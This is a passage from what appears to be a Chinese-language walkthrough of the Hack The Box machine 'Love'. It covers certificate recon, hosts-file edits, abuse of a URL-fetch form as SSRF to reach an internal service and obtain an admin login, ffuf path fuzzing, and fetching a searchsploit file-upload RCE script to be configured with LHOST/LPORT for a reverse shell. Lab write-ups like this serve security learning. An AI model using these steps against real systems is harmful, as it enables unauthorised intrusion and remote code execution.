使用浏览器访问靶机443端口
点击左下角的"查看证书"按钮查看该IP绑定域名
将该域名与靶机IP写入hosts文件中
sed -i '1i 10.10.10.239 staging.love.htb' /etc/hosts┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.239 staging.love.htb' /etc/hosts
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head -n 1 /etc/hosts
10.10.10.239 staging.love.htb
访问该域名后点击左上角的Demo
这里是一个允许直接与URL交互的表单
攻击机本地开启一个http服务
php -S 0:8888尝试利用该页访问攻击机8888端口
本地成功收到了回显，证明该接口是可以出网的

尝试利用该功能访问靶机自身80端口
由显示可见，与我们直接访问靶机80端口页面是一致的
利用该功能访问靶机自身5000端口
账户：admin

使用ffuf对靶机80端口进行路径FUZZ
ffuf -u http://10.10.10.239/FUZZ -w ../dictionary/Common-dir.txt
直接访问/admin路径
填入上面拿到的凭证直接进入后台面板
漏洞利用
使用searchsploit搜索靶机80端口WebAPP漏洞
searchsploit voting system
从中将认证后文件上传导致的RCE脚本取出
searchsploit -m 49445.py 对该脚本中的URL、USERNAME、PASSWORD、LHOST、LPORT进行配置
首先将靶机IP与其根域名进行绑定
sed -i '1i 10.10.10.239 love.htb' /etc/hosts┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.239 love.htb' /etc/hosts

└─# head -n 1 /etc/hosts
10.10.10.239 love.htb
将需要利用的各个URL进行修改，靶机并不存在votesystem路径
